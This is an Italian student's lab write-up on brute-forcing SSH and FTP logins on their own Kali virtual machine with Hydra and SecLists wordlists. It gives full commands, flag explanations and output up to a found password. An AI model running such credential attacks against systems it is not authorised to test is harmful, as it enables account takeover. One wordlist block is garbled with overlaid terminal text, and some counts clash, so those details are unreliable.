

CRACK DI PASSWORD E NOME UTENTE DI USER KALI

CON HYDRA



**TANCREDI
DE SIMONE**

1.Creazione di un secondo account kali

Per prima cosa creiamo un nuovo account kali, l'ho creato utilizzando i comandi descritti dall'esercizio e ho impostato:

User: user_test

Password: kali

Ip della macchina virtuale: 192.168.1.79

```
(kali㉿kali)-[~]  
$ sudo adduser user_test  
New password:  
Retype new password:  
passwd: password updated successfully  
21 Changing the user information for user_test1  
Enter the new value, or press ENTER for the default  
Full Name []: tank  
Room Number []: 1  
Work Phone []: 888  
Home Phone []: 888  
Other []: 888  
Is the information correct? [Y/n] y
```

Ho attivato il servizio ssh con **sudo service ssh start**

```
(kali㉿kali)-[~]  
$ sudo service ssh start
```

Ho testato che la connessione ssh funzionasse con **ssh user_test@192.168.1.79**

```
21 (kali㉿kali)-[~]  
$ ssh user_test@192.168.1.79  
user_test@192.168.1.79's password:  
Linux kali 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1 (2026-02-25) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
Last login: Fri May 15 05:16:49 2026 from 192.168.1.79  
(user_test㉿kali)-[~]  
$
```

2. Cracking Hydra ssh

Ora andrò a configurare Hydra per provare a crackare.

La prima cosa da fare è scaricare seclists, dei file di testo che contengono alcuni nomi utente e password comuni, dei dizionari che Hydra utilizzerà per trovare la password e il nome utente.

sudo apt install seclists

```
(kali@kali)-[~]
$ sudo apt install seclists
[sudo] password for kali:
seclists is already the newest version (2025.3-0kali1).
Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 1302
(kali@kali)-[~]
```

Lo avevo già installato quindi giustamente mi dice questo.

Ora abbiamo tutti i parametri che ci servono per impostare hydra.

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Names/top-1000-common-usernames.txt -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt 192.168.1.79 -t 4 ssh
```

Dove:

-L: Username, e gli stiamo dicendo non di usare un singolo username ma tutti quelli contenuti nella lista.

-P: Stessa cosa con le password

-t4: thread, ovvero il numero di connessioni simultanee che Hydra userà per attaccare un servizio.

ssh: Il servizio da attaccare.

Ho inserito anche le directory con i file di testo da dove voglio che Hydra vada a pescare le possibili password.

Avviamo il programma, ora so benissimo che Hydra non troverà nessuna delle due cose, perché non sono presenti nelle liste e ci metterà veramente tanto.

Vedremo Hydra avere successo nel prossimo esercizio in cui attaccherò **ftp**.

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Names/top-1000-common-usernames.txt -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt 192.168.1.79 -t 4 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-15 06:47:10
[DATA] max 4 tasks per 1 server, overall 4 tasks, 180018 login tries (l:18/p:10001), ~45005 tries per task
[DATA] attacking ssh://192.168.1.79:22/
```

3.Cracking Hydra ftp

Ho installato vsftpd per prima cosa e l'ho avviato, lo avevo già installato in realtà.

```
(kali@kali)-[~]
$ sudo apt install vsftpd
[sudo] password for kali:
vsftpd is already the newest version (3.0.5-0.5).
Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 1302
```

```
(kali@kali)-[~]
$ sudo service vsftpd start
[sudo] password for kali:
```

In teoria l'unica cosa da fare sarebbe prendere il comando di prima e cambiare soltanto "ssh" con "ftp", ma così facendo non risolveremmo i due problemi principali, il primo è che è estremamente inefficiente con quel numero di thread, il secondo è che la pass e l'user io li conosco e non sono contenute nei file di testo che ho impostato.

Nella logica in cui io non sapessi nulla ecco cosa farei:

- Provarei prima con tutti i file di testo più corti.
- Se non funzionasse continuerei scalando con file di testo sempre più lunghi
- Se non trovassi nulla scaricherei altri file di testo online per indovinare comunque la password
- Se tutto ciò non funzionasse proverei con un attacco bruteforce.

Visto che abbiamo tempo limitato, ai fini dell'esercizio, andrò nei file di testo che ho impostato e inserirò le credenziali di accesso che conosco ovvero: **user_test** e **kali**.

Per farlo entro nella directory con:

```
(kali@kali)-[~]
$ cd /usr/share/seclists/Usernames/
```

E modificherò il file con:

```
(kali@kali)-[/usr/share/seclists/Usernames]
$ sudo nano top-usernames-shortlist.txt
[sudo] password for kali:
```

Ho inserito **user_test**

```
guest
info
adm
mysql
user
administrator
oracle
ftp
pi
puppet
ansible
ec2-user
vagrant
azureuser
user_test
```

Ho fatto la stessa cosa con password inserendo **kali**

```
chicken
dick kali@kali: [~]
black user_test@192.168.1.79
zxcvbnest@192.168.1.79's password:
pleasekali 6.18.12+kali-amd64 #1 SMP P
andrea
kali programs included with the Kali GN
ferrari distribution terms for each
knight dual files in /usr/share/doc/*/c
hardcore
melissa /Linux comes with ABSOLUTELY N
compaq red by applicable law.
```

Ora Hydra sarà in grado di trovare la pass, dobbiamo solo risolvere il problema della velocità.

Il modo per farlo è aggiungere alcuni parametri al comando di lancio di Hydra. Scrivo il comando completo e poi spiego cosa ho fatto nel materiale.

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Username/top-username-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt 192.168.1.79 ftp -t 64 -u -f -w 5 -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
```

hydra -L /usr/share/seclists/Username/top-username-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt 192.168.1.79 ftp -t 64 -u -f -V

Cosa cambia dal comando di prima?

- **ftp**: non stiamo attaccando più ssh, ma ftp.
- **-t 64**: gli sto dicendo di usare 64 thread per aumentare la velocità di cracking.
- **-u**: visto che i nomi utente sono moltissimi di meno delle password gli sto dicendo che invece di provare ogni password per ogni nome utente, deve provare ogni nome utente per ogni password, quindi invece di venire: User1 - pass1, User2 - pass1, User3 - pass1...etc. verrà invece: User1 - pass1, User2 - pass1, riducendo notevolmente la velocità di cracking.
- **-f**: gli sto dicendo che se trova user e pass si deve fermare invece di provare tutte le 180.000 e passa combinazioni.
- **-V**: gli sto dicendo di mostrarmi ogni singolo tentativo nel terminale.

Avviamolo.

```

(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt 192.168.1.79 ftp -t 64 -u -f -w 5 -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-15 05:47:42
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 170000 login tries (l:17/p:10000), ~2657 tries per task
[DATA] attacking ftp://192.168.1.79:21/
[ATTEMPT] target 192.168.1.79 - login "root" - pass "password" - 1 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.79 - login "admin" - pass "password" - 2 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.79 - login "test" - pass "password" - 3 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.79 - login "guest" - pass "password" - 4 of 170000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.79 - login "info" - pass "password" - 5 of 170000 [child 4] (0/0)
[ATTEMPT] target 192.168.1.79 - login "adm" - pass "password" - 6 of 170000 [child 5] (0/0)
[ATTEMPT] target 192.168.1.79 - login "mysql" - pass "password" - 7 of 170000 [child 6] (0/0)
[ATTEMPT] target 192.168.1.79 - login "user" - pass "password" - 8 of 170000 [child 7] (0/0)
[ATTEMPT] target 192.168.1.79 - login "administrator" - pass "password" - 9 of 170000 [child 8] (0/0)
[ATTEMPT] target 192.168.1.79 - login "oracle" - pass "password" - 10 of 170000 [child 9] (0/0)
[ATTEMPT] target 192.168.1.79 - login "ftp" - pass "password" - 11 of 170000 [child 10] (0/0)
[ATTEMPT] target 192.168.1.79 - login "pi" - pass "password" - 12 of 170000 [child 11] (0/0)
[ATTEMPT] target 192.168.1.79 - login "puppet" - pass "password" - 13 of 170000 [child 12] (0/0)
[ATTEMPT] target 192.168.1.79 - login "ansible" - pass "password" - 14 of 170000 [child 13] (0/0)
[ATTEMPT] target 192.168.1.79 - login "ec2-user" - pass "password" - 15 of 170000 [child 14] (0/0)
[ATTEMPT] target 192.168.1.79 - login "vagrant" - pass "password" - 16 of 170000 [child 15] (0/0)
[ATTEMPT] target 192.168.1.79 - login "azureuser" - pass "password" - 17 of 170000 [child 16] (0/0)

```

Come si può notare per ogni tentativo sta provando ogni nome utente per ogni password, e visto che i nomi utente sono solo 18 non ci metterà molto a trovare la combinazione user e pass giusta.

```

[ATTEMPT] target 192.168.1.79 - login "guest" - pass "ferrari" - 2596 of 180032 [child 17] (0/0)
[ATTEMPT] target 192.168.1.79 - login "info" - pass "ferrari" - 2597 of 180032 [child 18] (0/0)
[21][ftp] host: 192.168.1.79 login: user_test password: kali
[STATUS] attack finished for 192.168.1.79 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-15 06:21:26
(kali@kali)-[~]

```

Ci è riuscito dopo 5 minuti.

E' vero che conoscendo user e pass e inserendole nelle liste ho giocato facile, ma l'esercizio era di capire come ridurre il tempo che Hydra ci avrebbe messo a trovare la soluzione e penso di aver trovato dei metodi giusti.

Ho anche cercato di ragionare come un attaccante che non abbia idea di quali siano le credenziali di accesso, e l'importante è proprio questo, entrare nella mente dell'attaccante e capire cosa farebbe per bucare un servizio.